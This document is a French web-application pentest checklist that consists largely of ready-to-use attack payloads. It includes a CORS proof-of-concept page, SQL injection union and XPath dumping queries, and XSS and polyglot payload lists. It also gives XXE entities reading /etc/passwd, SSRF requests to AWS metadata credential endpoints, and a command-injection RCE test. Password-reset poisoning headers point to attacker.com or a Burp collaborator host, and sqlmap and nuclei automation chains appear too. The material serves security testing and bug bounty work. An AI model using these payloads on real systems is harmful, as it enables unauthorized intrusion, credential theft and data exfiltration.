    * [ ] burp.collaborator
    * [ ] evil.com
    * [ ] /admin
    * [ ] /console

      **Dans :**
    * [ ] `Client-IP:`
    * [ ] `Connection:`
    * [ ] `Contact:`
    * [ ] `Forwarded:`
    * [ ] `From:`
    * [ ] `Host:`
    * [ ] `Origin:`
    * [ ] `Referer:`
    * [ ] `True-Client-IP:`
    * [ ] `X-Client-IP:`
    * [ ] `X-Custom-IP-Authorization:`
    * [ ] `X-Forward-For:`
    * [ ] `X-Forwarded-For:`
    * [ ] `X-Forwarded-Host:`
    * [ ] `X-Forwarded-Server:`
    * [ ] `X-Host:`
    * [ ] `X-Original-URL:`
    * [ ] `X-Originating-IP:`
    * [ ] `X-Real-IP:`
    * [ ] `X-Remote-Addr:`
    * [ ] `X-Remote-IP:`
    * [ ] `X-Rewrite-URL:`

  * **URL Absolu**

    Essayez de rentrer un URL absolu :

    ```bash
      GET **https://google.com** HTTP/1.1
      Host: www.google.com
    ```
* **SSRF Injection**

```jsx
Client-IP: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded: 127.0.0.1
Forwarded: localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
X-Forwarded-By: 127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwared-Host: 127.0.0.1
X-Forwared-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr: localhost
X-Remote-IP: 127.0.0.1
```

* **CORS (Cross Origin Resource Sharing)**

  Ajouter le header "`Origin`" à la requête :

  ```bash
    GET / HTTP/1.1
    Host: www.vulnerable_website.com
    **Origin : evil.com**
  ```

  Si la réponse contient le code ci dessous vous avez une vulnérabilité CORS :

  ```bash
    **Acces-Control-Allow-Origin: evil.com
    Access-Control-Allow-Credentials: True**
  ```

  Pour POC une vulnérabilité CORS :

  Habituellement, vous voulez cibler un endpoint API.

  * [ ] Créer un fichier test.html

    ```markup
    <html>
      <body>
          <h2>CORS PoC</h2>
          <div id="demo">
              <button type="button" onclick="cors()">Exploit</button>
          </div>
          <script>
              function cors() {
              var xhr = new XMLHttpRequest();
              xhr.onreadystatechange = function() {
                  if (this.readyState == 4 && this.status == 200) {
                  document.getElementById("demo").innerHTML = alert(this.responseText);
                  }
              };
               xhr.open("GET",
                        "https://victim.example.com/endpoint", true);
              xhr.withCredentials = true;
              xhr.send();
              }
          </script>
      </body>
    </html>
    ```
  * [ ] Créez un server python : `python3 -m http.server`
  * [ ] Cliquez sur test.html puis sur le bouton POC

    [trustedsec/cors-poc](https://github.com/trustedsec/cors-poc)

    CORS bypass :

    ```bash
    Origin : null
    Origin : attacker.com
    Origin : attacker.target.com
    Origin : attackertarget.com
    Origin : sub.attackertarget.com
    Origin : attacker.com and then change the method Get to Post/Post to Get
    Origin : sub.attacker target.com
    Origin : sub.attacker%target.com
    Origin : attacker.com/target.com
    ```

## Cookies

* **Attributs à checker**
  * [ ] HttpOnly
  * [ ] Secure
  * [ ] SameSite
* **Obfuscation**
  * [ ] [Base64decode](https://www.base64decode.org/)
* **Credentials**
  * [ ] Contient des creds ?
  * [ ] Contient des paramètres (id, uid, ...) ?
  * [ ] Tester des injections SQL dans les paramètres du genre (uid=, id=)

## Login/Logout/Account creation

* **Creation de compte**

  * [ ] Politique de mot de passe ( 8 caractères minimums, Majuscule, Minuscule, caractères speciaux) sinon vulnérabilité.
  * [ ] Vérification par email lors de la création de compte ?
  * [ ] Essayer de rentrer un nom d'utilisateur déjà existant pour voir si l'ancien est effacé
  * [ ] Username unique ? Possibilité d'avoir le même qu'un autre ?
  * [ ] Ajouter des espaces dans le champs "`Password`"

* **Login**

  * [ ] Provoquer une erreur et voir si information dans le message d'erreur
  * [ ] Login avec l'utilisateur ayant le moins de privilège
    * [ ] Ajouter les cookies de cet user à Autorize
  * [ ] Brute Force possible ?
  * [ ] Injection SQL possible ?
  * [ ] Énumération d'users ?

* **Logout**
  * [ ] Provoquer une erreur et voir s'il y a des informations dans le message d'erreurs
  * [ ] Essayer de se Logout et voir si les cookies sont réutilisables
  * [ ] Énumération d'users ?

## Forgot\_Password

* **Lien de reset de password n'expirant jamais**

  lorsqu'un utilisateur demande un changement de mot de passe, il obtient un lien de réinitialisation de mot de passe pour réinitialiser le mot de passe, c'est le comportement normal, mais il devrait également expirer après un certain temps. S'il n'expire pas et que vous pouvez utiliser le lien de réinitialisation du mot de passe plusieurs fois pour réinitialiser le mot de passe. Ensuite, vous pouvez le considérer comme une vulnérabilité.

{% embed url="<https://hackerone.com/reports/840598>" %}

* **Pas de limite sur le reset de password**

  La limitation de débit est utilisée pour contrôler la quantité de trafic entrant et sortant vers ou depuis un réseau. Essayez donc d'envoyer beaucoup de requêtes, si cela ne vous bloque pas, vous pouvez le considérer comme une vulnérabilité.

  HOW TO HUNT :

  1. Démarrez burp et interceptez la demande de réinitialisation du mot de passe&#x20;
  2. Envoyer à l'intruder
  3. Utilisez le payload "null"

{% embed url="<https://hackerone.com/reports/838572>" %}

* **Déni de service lors de la saisie d'un long mot de passe**

  Normalement, les mots de passe ont 8-12-24 ou jusqu'à 48 chiffres. s'il n'y a pas de limite de caractères dans le mot de passe, vous pouvez le considérer çela comme une vulnérabilité.

  HOW TO HUNT :

  1. Démarrez burp et interceptez la demande de réinitialisation du mot de passe&#x20;
  2. Envoyer à l'intruder
  3. Utilisez le payload "null"

{% embed url="<https://hackerone.com/reports/840598>" %}

* **Fuite de token de réinitialisation de mot de passe via referer**

  Le referer HTTP est un champ d'en-tête HTTP facultatif qui identifie l'adresse de la page Web qui est liée à la ressource demandée. L'en-tête de demande Referer contient l'adresse de la page Web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi. Il est donc possible que le jeton de réinitialisation du mot de passe fuit via l'en-tête de demande de référence.

  HOW TO HUNT :

  1. Demandez la réinitialisation du mot de passe sur votre adresse e-mail&#x20;
  2. Ouvrez le lien de réinitialisation du mot de passe&#x20;
  3. Assurez-vous de ne pas modifier le mot de passe sur la page de réinitialisation du mot de passe&#x20;
  4. Cliquez sur les liens de médias sociaux et capturez la demande à l'aide de Burp Suite&#x20;
  5. Vérifiez si le referer contient un jeton de réinitialisation de mot de passe

  Exemple : [Nord Security disclosed on HackerOne: Password Reset Link Leaked In...](https://hackerone.com/reports/751581)

* **Réinitialisation du mot de passe avec la manipulation du paramètre emails**

  Tout en demandant un lien de réinitialisation de mot de passe pour l'utilisateur victime, nous pouvons essayer la manipulation des paramètres ci-dessous pour obtenir une copie du lien de réinitialisation de la victime sur l'e-mail de l'attaquant.

  HOW TO HUNT :

  * Double parameter (HTTP parameter pollution) : email=<victim@xyz.tld>\&email=<hacker@xyz.tld>
  * Carbon copy : email=<victim@xyz.tld>%0a%0dcc:<hacker@xyz.tld>
  * Using separators : email=<victim@xyz.tld>,<hacker@xyz.tldemail>=<victim@xyz.tld>%<20hacker@xyz.tldemail>=<victim@xyz.tld>|<hacker@xyz.tld>
  * No domain : email=victim
  * No TLD (Top Level Domain) : email=victim\@xyz
  * JSON table : {“email”:\[“<victim@xyz.tld>”,”<hacker@xyz.tld>”]}

{% embed url="<https://hackerone.com/reports/1175081>" %}

* [ ] **Password reset Poisoining grâce à une fuite de token**

  Utilisations des idées pour forward la requete vers un lien nous appartenant.

  HOW TO HUNT :

  1. Interceptez la demande de réinitialisation du mot de passe dans Burpsuite&#x20;
  2. Ajoutez l'en-tête suivant ou modifiez l'en-tête dans Burp (essayer un par un !)
  3. Utilisez Ngrok ou collaborator

     ```
     Host:attacker.com

     Host:target.com
     X-Forwarded-Host: burp.collaborator
     X-Fowraded-For :  burp.collaborator

     Host:target.com
     Host:  burp.collaborator
     ```

{% embed url="<https://hackerone.com/reports/226659>" %}

* [ ] Remplacer email par <username@Burp.collaborator.com> et examiner les requetes obtenus.
* [ ] ID dans la requete ? Mettre un autre ID
* [ ] Brute force possible ?
* [ ] Token présent dans la requête ?
* [ ] Expiration du lien de reset ?
* [ ] Spamming d'email possible ?
* [ ] Demander deux resets de mdp et tester le lien le plus vieux
* [ ] Utiliser l'extension Burp "`ParamMiner`" et chercher des paramètres cachés.
* [ ] Essayez de supprimer le champs "Ancien mot de passe" si on vous demande de l'entrer
* [ ] Si un CSRF\_Token est présent essayer de set sa valeur sur "null"  : `CSRF_Token:null`
* [ ] Host header injection
  * [ ] Créez un lien Ngrok
  * [ ] Demander un reset de mot de passe et injecter "`Host:<ngrok_url>` " avec votre email et checker si le lien de reset dans l'email contient votre URL ngrok
  * [ ] Injecter la même chose dans le header "`X-Forwarded-For`et `**X-Forwarded-Host**`"

## JavaScript

* [ ] Dans Burp utiliser l'extension ***Burp JS LinkFinder***
* [ ] [SecretFinder](https://github.com/m4ll0k/SecretFinder)
* [ ] Checker des clefs d'API en clair
* [ ] Checker si il y a des appels de paramètres dans les scripts JS

  > exemple : main.js?token="4745678976567"

  * [ ] Tester des injection JavaScript dans les paramètres trouvés

  * [ ] Utiliser ces injections JavaScript dans une vulnérabilité **d'OpenRedirect**

  > *exemple :* [*https://vulnerable\_website/test?url=*](https://vulnerable_website/test?url=) *—> open redirect*
  >
  > *exemple : \[*<https://vulnerable_website/test?url=main.js?token=>\<em>confirm(1)\</em>*]\(*<https://vulnerable_website/test?url=main.js?token=>\<em>confirm(1)\</em>*) —> exploitation*

## Open Redirect

* [ ] Chercher des paramètres du type : redirect=, url=, redirecturl=, redirection=, et essayer d'injecter un site externe

> exemple: <https://vulnerable_website/test?url=www.google.com>

Si une redirection s'effectue vous êtes en présence d'une vulnérabilité d'Open Redirection

Astuce : exporter le sitemap de burp :

```bash
cat sitemap.txt | gf redirect >> test_redirect.txt
cat test_redirect.txt | qsreplace "https://google.com" >> ffuf_redirect.txt
ffuf -c -w ffuf_redirect.txt -u FUZZ
```

## JWT

* [ ] JWT tool
  * [ ] None algorithm :

    Essayez de changer le header du JWT normalement encodé en RS256 en "None" et testez les différents payload générés :

    ```bash
    python3 jwt_tool.py "<JWT>" -X a
    ```
  * [ ] From RS256 to HS256

    Essayez de changer le type d'algorithme de chiffrement utilisé (RS256 néscessite une clef privée alors que HS256 utilise une clef publique partagée. On peut donc essayer de chiffrer ce token avec la meme clef publique que l'application.

    ```bash
    python3 jwt_tool.py "<JWT>" -S hs256 -k clef_public
    ```

Voila une extension Burp qui reproduit les mêmes attaques : JOSPEH

* [ ] JOSEPH Extension
  * [ ] Key Confusion
  * [ ] Signature Exclusion
* [ ] Signature non checker par le serveur

Il peut arriver qu'un serveur ne check pas la signature du JWT, nous allons donc essayer de modifier le JWT

```bash
python3 jwt_tool.py "<JWT>" -I -pc name -pv admin #On change la variable {name}={admin}
```

## Injections

```jsx
POLYGLOT PAYLOAD TO USE EVERYTIME : 
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
(/*! SLEEP(5) ) /*/ onclick=alert(1) )//<button value=Click_Me /*/*/or' /*! or SLEEP(5) /*/, onclick=alert(1)//> /*/*/-- 'or" /*! or SLEEP(5) /*/, onclick=alert(1)// /*/*/--{{7*7} "
```

* **SQLi**
  * **Manuellement** 1. Trouver une injection

    ````
      Le but étant de remarquer si une erreur apparait ou si le comportement de l'application change.

      ```sql
      '
      ' or 1=1 
      ' or 1=1 -- 
      ' or 1=1 -- -
      ' or 1=1 #
      ' and 1=2 -- -
      ' and 1=1 -- -
      Bypass WAF : %00 ' UNION SELECT ...

      Best payload : Permet de trouver les blinds et les error based
      ' or sleep(5) -- -
      ```
    ````

    1. Trouver le nombre de colonnes :

       ```sql
            ' ORDER BY 1 --
              ' ORDER BY 2 --
            ' ORDER BY 3 --
            ' UNION SELECT NULL --
                ' UNION SELECT NULL,NULL --
                ' UNION SELECT NULL,NULL,NULL --

         Incrementer de 1 le ORDER BY ou le NULL, jusqu"à avoir :
        - Une erreur pour le order BY
        - Pas d'erreur pour le NULL
       ```
    2. Extraction d'informations database(), version(), user(), UUID() with concat() or group\_concat() (COLUMNS represente le nb de colonnes trouvé précédement, soit remplacer par 1,2,3,... ou NULL,NULL,NULL,... ) :

       ```sql
        Oracle               'UNION SELECT banner, COLUMNS,  FROM v$version --
                                            'UNION SELECT version, NULL, NULL FROM v$instance --

        Microsoft               'UNION SELECT @@version, COLUMNS -- 

        PostgreSQL               'UNION SELECT version(), COLUMNS --

        MySQL                   'UNION SELECT @@version, COLUMNS --
       ```
    3. Dump de la database **(Attention : Mieux vaut encoder les espaces avec un "+")** :

       ```sql
        Oracle            'UNION+SELECT+table_name+FROM+all_tables
                            'UNION SELECT column_name FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

        Microsoft           'UNION SELECT table_name FROM information_schema.tables
                          'UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

        PostgreSQL           'UNION SELECT table_name FROM information_schema.tables
                          'UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

        MySQL             'UNION SELECT table_name FROM information_schema.tables
                          'UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
       ```
    4. TIME DELAY ( Utile pour trouver des SQLi)

       ```sql
        Oracle           dbms_pipe.receive_message(('a'),10)

        Microsoft       WAITFOR DELAY '0:0:10'

        PostgreSQL       SELECT pg_sleep(10)

        MySQL           SELECT sleep(10)
       ```
    5. **SQLi Error based avec XPATH**

       D'après mon expérience, la plupart du temps, quand on ajoute une quote ou deux et nous obtenons une erreur de l'application alors on en déduis une SQLi, très bien. On commence par commenter la requête et à chercher le nombre de colonnes avec ORDER BY.

       Supposons qu'il y ait 5 colonnes. Maintenant, quand nous injectons avec de l'Union Based, On se rend compte que l'erreur ne nous renvoi rien... Merde....

       C'est la situation dans laquelle on peut utiliser l'injection XPATH.

       Donc on reprend l'injection de base :

       ```python
         id=1' union select 1,2,3,4,-- -
         # Cette Injection prend la forme de :
         select path from pages where id="<notre_requete>" limit 1,1;
       ```

       On vas donc utiliser la fonction MySQL"extractvalue" qui utilise une requete XPATH pour formuler la requete. La fonction prend l'entrée sous la forme suivante : ***ExtractValue('xmldatahere', 'xpathqueryhere').***

       Si la requête XPath est syntaxiquement incorrecte, un message d'erreur s'affiche : ***Erreur de syntaxe XPATH : 'xpathqueryhere'.*** C'est dans cette erreur qu'on va pouvoir retrouver nos réponse à nos requêtes.

       ```python
         id=1' and extractvalue(0x0a,concat(0x0a,(select database())))--
         Output : XPATH syntax error: ' database_name_here'
       ```

       Maintenant il ne vous reste plus qu'à adapter les requêtes pour dumper dans l'ordre :

       1. Le nom de la database
       2. Le nom des tables
       3. Le nom des colonnes
       4. Les données dans les colonnes

          ```sql
          id=1' and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))--
          Output : XPATH syntax error: 'table_name_here'

          id=1' and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))--

          id=1' and extractvalue(0x0a,concat(0x0a,(select count(username) from users)))--
          ```

          ⚠️ ATTENTION : Vous avez remarqué le "LIMIT 1,1", jouez avec ca pour afficher toutes les données.

          ```sql
          Ex : LIMIT 1,1 / LIMIT 2,1 / LIMIT 3,1 ....
          ```
  * **Automatisation**

    ```bash
      sublist3r -d target | tee -a domains.txt (utilisation d'autres tolls genre findomain, assetfinder, etc.)
      cat domains.txt | httpx | tee -a alive_subdomains.txt
      cat alive_subdomains| waybackurls | tee -a urls.txt
      gf sqli urls.txt >> sqli_test.txt
      sqlmap -m sqli_test.txt --dbs --batch
    ```
* **XSS**

  **Test d'une XSS :**

  Le paramètre est-il réfléchis dans la réponse du serveur ? Si oui →

  * [ ] Go sur ce site et mettez les différent tags et events dans votre intruder pour savoir lesquels sont filtrés ou non.

    [Cross-Site Scripting (XSS) Cheat Sheet - 2021 Edition | Web Security Academy](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
  * [ ] Injection de code HTML

    ```python
    # HTML
    "><h1>hello</h1>
    ```

    Si le Hello" prend l'attribut H1 on peut tester plusieur injections :

    ```jsx
    <body onload=prompt(/XSS/.source)>
    <input autofocus onfocus=prompt(1)>
    <img src=x onerror=prompt()>${{7*7}}'--

    # Basic payload
    <script>confirm(1)</script>
    <scr<script>ipt>confirm(1)</scr<script>ipt>
    "><script>confirm(1)</script>
    "><script>prompt(String.fromCharCode(88,83,83))</script>

    # Img payload
    <img src=x onerror=prompt(1);>
    <img src=x onerror=prompt(1)//
    <img src=x onerror=prompt(String.fromCharCode(88,83,83));>
    <img src=x oneonerrorrror=prompt(String.fromCharCode(88,83,83));>
    <img src=x:prompt(alt) onerror=eval(src) alt=xss>
    "><img src=x onerror=prompt(1);>
    "><img src=x onerror=prompt(String.fromCharCode(88,83,83));>

    # Svg payload
    <svgonload=prompt(1)>
    <svg/onload=confirm(1)>
    <svg onload=prompt(1)//
    <svg/onload=confirm(String.fromCharCode(88,83,83))>
    <svg id=alert(1) onload=eval(id)>
    "><svg/onload=confirm(String.fromCharCode(88,83,83))>
    "><svg/onload=prompt(/XSS/)
    <svg><script href=data:,confirm(1) />(`Firefox` is the only browser which allows self closing script)

    # Div payload
    <div onpointerover="confirm(xss)">MOVE HERE</div>
    <div onpointerdown="confirm(45)">MOVE HERE</div>
    <div onpointerenter="confirm(45)">MOVE HERE</div>
    <div onpointerleave="confirm(45)">MOVE HERE</div>
    <div onpointermove="confirm(45)">MOVE HERE</div>
    <div onpointerout="confirm(45)">MOVE HERE</div>
    <div onpointerup="confirm(45)">MOVE HERE</div>
    ```

    **Automatisation :**
  * [ ] Inscription sur XSSHunter

    ```python
    paramspider -d exemple.com > param.txt
    dalfox -b Username.xss.ht file param.txt
    ```

    **TIPS :**
  * [ ] Ne plus utiliser `alert`, préférez `confirm` ou `prompt`
  * [ ] N'utilise pas des `""` dans votre payload, préférez utiliser un `nombre`

    > `~~alert("XSS")~~ —> prompt(1)`
* **XXE**
  1. Convertir le content-type "application/json"/"application/x-www-form-urlencoded" en "applcation/xml".
  2. Si le File Upload autorise docx/xlcs/pdf/zip , unziper le fichier et rajouter un fichier evil.xml avec votre XML injection dedans
  3. Si possibilité d'upload une image SVG, injecter une XXE dans votre SVG
  4. Si l'application propose des flux RSS, ajoutez votre injection dans le flux RSS.
  5. Si l'application propose l'intégration du SSO, vous pouvez injecter votre code xml vicieux dans la demande/réponse SAML.
  6. Dans du SOAP :

     [GitHub - payloadbox/xxe-injection-payload-list: 🎯 XML External Entity (XXE) Injection Payload List](https://github.com/payloadbox/xxe-injection-payload-list)

     Il faut comprendre comment marche une XXE pour essayer de bypass les mécanismes de sécurité :

     Le XML marche sous forme d'entité, il est possible d'injecter **des entitées customs :**

     ```bash
     <!--?xml version="1.0" ?-->
     <!DOCTYPE foo [ <!ENTITY MON_ENTITE "Valeur de mon entité" > ]>
     <userInfo>
     <firstName>John</firstName>
     <lastName>&MON_ENTITE;</lastName> #Appel de ma custom entity
     </userInfo>
     ```

     Ou encore d'injecter des entitées externes qui seront chargé soit depuis un URL soit depuis un fichier distant. Pour charger ces entités on utilise la commande SYSTEM

     ```bash
     <!--?xml version="1.0" ?-->
     <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://external-website.com" > ]> # **file:///etc/passwd** peut aussi être utilisé
     <userInfo>
     <firstName>John</firstName>
     <lastName>&ext;</lastName> #Appel de mon external entity
     </userInfo>
     ```

     Quelques fois il est possible que les entitées externes soient bloquées pour des raisons de sécurité. On peut alors utiliser non plus des custom ou external entities mais des parameters entity qui vont s'appeler directement depuis la délcaration de la DOCTYPE et donc plus besoin de l'appeler dans les paramètres de la requète (plus bespoin de ***\&xxe;***) :

     ```bash
     <!--?xml version="1.0" ?-->
     <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://burp.collaborator.net"> %xxe; ]>
     ```
* **SSRF**
  * **POC**

    Dans ***Burp > fichier > Burp Collaborator > Copy to Clipboard***

    Injectez vos Burp collaborator dans les éléments suivants et checker si vous avez une connexion en retour :

    * [ ] Burp Extension : *Collaborator Everywhere*
    * [ ] Injecter dans les headers (

      ```
      GET /HTTP 1.1
      Host: site.tld
      Agent: Firefox
      Referrer: https://burp_collaborator.com
      ```
    * [ ] Utiliser [ssrf.py](http://ssrf.py) avec gau

      ```bash
      gau domain.com | python3 ssrf.py burp_collaborator.com
      ```
    * [ ] Checker si des fonctionnalités Java URI, CURL, WGET, LDAP, File, FTP, SMTP sont utilisés
    * [ ] Checker des paramètres où l'on peu entrer des liens ou quand il y a une redirection :  *url=, redirect=, redirecturl=, email=, ip=*
    * [ ] Si XSS ou possibilité d'injecter du JavaScript :

      ```jsx
      <iframe src="file:///etc/passwd" width="400" height="400">
      <img src onerror="document.write('<iframe src=//127.0.0.1></iframe>')>
      ```
  * **Automatisation** 1. **Getting urls**

    ```jsx
          waybackurl [target.com](http://target.com) >> blindssrftesturls.txt
          gau -subs [target.com](http://target.com) >>blindssrftesturls.txt
    ```

    **2. Trouver les faux positifs**

    ```jsx
      cat blindssrftesturls.txt | sort -u | anewc | httpx | tee -a pre_ssrfurls.txt
    ```

    **3. Trouver les paramètres vulnérables**

    ```jsx
      cat pre_ssrfurls.txt | gf ssrf >> final_ssrfurls.txt
    ```

    **4. Remplacer par votre Burp Collaborator et Fuzzer**

    ```jsx
      cat final_ssrfurls.txt | qsreplace "Burpcollaborator" >> ssrf_ffuf.txt
      ffuf -c -w ssrf_ffuf.txt -u FUZZ
    ```
  * **TIPS :**
    * [ ] Si instance sur AWS

      ```bash
      AWS est largement utilisé de nos jours. Les instances n'ont pas une IP en 127.0.0.1 mais en 169.254.169.254.
      Essayez d"injecter :

      http://169.254.169.254/latest/meta-data/
      http://169.254.169.254/latest/user-data/
      http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE
      http://169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
      ```
    * [ ] Test RCE

      ```python
      GET /XXX/Logo?url=burpcollaborator?`whoami`
      Host: exemple.com

      ou 

      GET /XXX/Logo?url=<os cmd>.burpcollaborator
      Host: exemple.com
      ```
    * [ ] Utiliser des redirection d'URL pour bypass certaines protection

      ```python
      #!/usr/bin/env python3
      #302redirect.py

      import sys
      from http.server import HTTPServer, BaseHTTPRequestHandler

      if len(sys.argv)-1 != 2:
       print("""
      Usage: {} <port_number> <url>
       """.format(sys.argv[0]))
       sys.exit()

      class Redirect(BaseHTTPRequestHandler):
      def do_GET(self):
          self.send_response(302)
          self.send_header('Location', sys.argv[2])
          self.end_headers()
      def send_error(self, code, message=None):
          self.send_response(302)
          self.send_header('Location', sys.argv[2])
          self.end_headers()
      HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
      ```

      ```python
      python3 302redirect.py 8080 "http://burpcollaborator/"*

      GET /XXX/Logo?url=<YOUR IP>/
      Host: exemple.com
      ```
    * [ ] Si présence d'une SSRF utiliser le protocole gopher :

      ```markup
      GET /XXX/Logo?url=gopher://burpcollaborator
      Host: exemple.com
      ```
* **SSTI**

  **Ruby**

  ```bash
    <%=`id`%>
  ```

  **Twig**

  ```bash
    {{7*'7'}} --> 49
  ```

  **Jinja**

  ```bash
    {{7*'7'}} --> 7777777
  ```
* **OS command**
* **XPath**
* **LDAP**

## File Upload

* ByPass de filtre:

  Différents types de filtrage.

  * [ ] Validation de l'extension

    Les extensions de fichiers sont utilisées (en théorie) pour identifier le contenu d'un fichier. En pratique, elles sont très faciles à modifier et ne signifient donc pas grand-chose ; cependant, MS Windows les utilise toujours pour identifier les types de fichiers, bien que les systèmes basés sur Unix aient tendance à utiliser d'autres méthodes, que nous aborderons plus tard. Les filtres qui vérifient les extensions fonctionnent de deux manières. Soit ils établissent une blacklist d'extensions (c'est-à-dire qu'ils ont une liste d'extensions qui ne sont pas autorisées), soit ils établissent une whitelist d'extensions (c'est-à-dire qu'ils ont une liste d'extensions qui sont autorisées et rejettent tout le reste).
  * [ ] Filtre du file type

    Similaire à la validation de l'extension, mais plus intensif, le filtrage du type de fichier cherche, une fois encore, à vérifier que le contenu d'un fichier est acceptable pour le téléchargement. Nous allons examiner deux types de validation de type de fichier :

    **La validation MIME** : Les types MIME (Multipurpose Internet Mail Extension) sont utilisés pour identifier les fichiers, à l'origine lorsqu'ils sont transférés sous forme de pièces jointes par courrier électronique, mais désormais aussi lorsqu'ils sont transférés par HTTP(S). Le type MIME pour un téléchargement de fichier est joint dans l'en-tête de la demande, et ressemble à ceci :

    Les types MIME suivent le format /. Dans la requête ci-dessus, vous pouvez voir que l'image "spaniel.jpg" a été téléchargée sur le serveur. En tant qu'image JPEG légitime, le type MIME de ce téléchargement était "image/jpeg". Le type MIME d'un fichier peut être vérifié côté client et/ou côté serveur ; cependant, comme le type MIME est basé sur l'extension du fichier, il est extrêmement facile de le contourner.

    **Validation des nombres magiques :** Les nombres magiques sont le moyen le plus précis de déterminer le contenu d'un fichier, mais il n'est pas impossible de les falsifier. Le "numéro magique" d'un fichier est une chaîne d'octets au tout début du contenu du fichier qui identifie le contenu. Par exemple, un fichier PNG aura ces octets au tout début du fichier : 89 50 4E 47 0D 0A 1A 0A.

    Contrairement à Windows, les systèmes Unix utilisent des numéros magiques pour identifier les fichiers. Toutefois, lors du téléchargement de fichiers, il est possible de vérifier le numéro magique du fichier téléchargé pour s'assurer qu'il peut être accepté en toute sécurité. Ce n'est en aucun cas une solution garantie, mais c'est plus efficace que de vérifier l'extension d'un fichier.
  * [ ] Filtre de la taille du fichier

    Les filtres de longueur de fichier sont utilisés pour empêcher le téléchargement de fichiers volumineux sur le serveur via un formulaire de téléchargement (car cela peut potentiellement priver le serveur de ressources). Dans la plupart des cas, cela ne posera aucun problème lorsque nous téléchargerons des shells ; cependant, il faut garder à l'esprit que si un formulaire de téléchargement ne prévoit que le téléchargement d'un très petit fichier, il peut y avoir un filtre de longueur en place pour s'assurer que la longueur du fichier est respectée. Par exemple, notre shell PHP reverse complet de la tâche précédente pèse 5,4 Ko, ce qui est relativement petit, mais si le formulaire attend un maximum de 2 Ko, nous devrons trouver un autre shell à télécharger

    Il convient de noter qu'aucun de ces filtres n'est parfait à lui seul. Ils sont généralement utilisés en conjonction les uns avec les autres, ce qui permet d'obtenir un filtre à plusieurs niveaux et d'accroître considérablement la sécurité du téléchargement. Tous ces filtres peuvent être appliqués côté client, côté serveur ou les deux.

    **Check à faire:**
  * [ ] Bypass Filtre côté serveur
  * [ ] Méthodologie

    Il existe quatre façons simples de contourner le filtre de téléchargement de fichiers côté client :

    * **Désactiver Javascript dans votre navigateur** - cela fonctionnera si le site ne nécessite pas Javascript pour fournir une fonctionnalité de base. Si la désactivation complète de Javascript empêche le site de fonctionner, l'une des autres méthodes est plus souhaitable ; sinon, cette méthode peut être un moyen efficace de contourner complètement le filtre côté client.
    * **Intercepter et modifier la page entrante**. En utilisant Burpsuite, nous pouvons intercepter la page Web entrante et supprimer le filtre Javascript avant qu'il n'ait la possibilité de s'exécuter. La procédure à suivre est décrite ci-dessous.
    * **Intercepter et modifier le téléchargement de fichiers**. Alors que la méthode précédente fonctionne avant le chargement de la page Web, cette méthode permet à la page Web de se charger normalement, mais intercepte le téléchargement du fichier après qu'il soit passé (et accepté par le filtre). Encore une fois, nous couvrirons le processus d'utilisation de cette méthode au cours de la tâche.
    * **Envoyez le fichier directement au point de téléchargement**. Pourquoi utiliser la page Web avec le filtre, alors que vous pouvez envoyer le fichier directement en utilisant un outil comme curl ? Envoyer les données directement à la page qui contient le code de traitement du téléchargement du fichier est une autre méthode efficace pour contourner complètement un filtre côté client. Nous ne traiterons pas cette méthode en profondeur dans ce tutoriel, mais la syntaxe d'une telle commande ressemblerait à ceci :

      ```bash
      curl -X POST -F "submit:<value>" -F "<file-parameter>:@<path-to-file>" <site>
      ```

      Supposons qu'une fois encore, nous ayons trouvé une page de téléchargement sur un site web:

      Comme toujours, nous allons jeter un coup d'oeil au code source. Ici, nous voyons une fonction Javascript de base vérifiant le type MIME des fichiers téléchargés :

## CSRF

## Extension Burp

* [ ] JS Link Finder
* [ ] SSL Scanner
* [ ] HopLa
* [ ] Bypass WAF
* [ ] Param Miner
* [ ] Reflected Parameters (Reflection)
* [ ] Additional Scanner Check
* [ ] JWT
* [ ] Collaborator Everywhere
* [ ] Authorize
* [ ] 403 bypasser (<https://github.com/sting8k/BurpSuite_403Bypasser>)

## Quick Automatise Recon

```jsx
Subfinder + amass + crtfinder + sublist3r + google dork >> all_subdomains.txt
httpx -l all_subdomains.txt -silent >> live_subdomains.txt
cat live_subdomains.txt | waybackurls > waybackurls.txt
ffuf -w /path/to/wordlist -u [https://target/FUZZ](https://target/FUZZ) -mc 200, 301,302,403 >> hidden_directories.txt
nmap -sC -iL all_subdomains.txt >> nmap_results
cat waybackurl.txt | gf redirect | tee -a redirect.txt
cat waybackurl.txt | grep js >> js_files.txt
cat all_subdomains.txt waybackurls.txt vulnerable_links.txt >> target_urls.txt
nuclei -l target_urls.txt -t cves/ -t takeovers/ -t misconfiguration/ -t defautlt-logins/ -t fuzzing/ -t technologies/ -t vulnerabilities/
```


# Pentest API


# Wordpress

#### Scan actif :

Énumération des :

* Utilisateurs
* Version
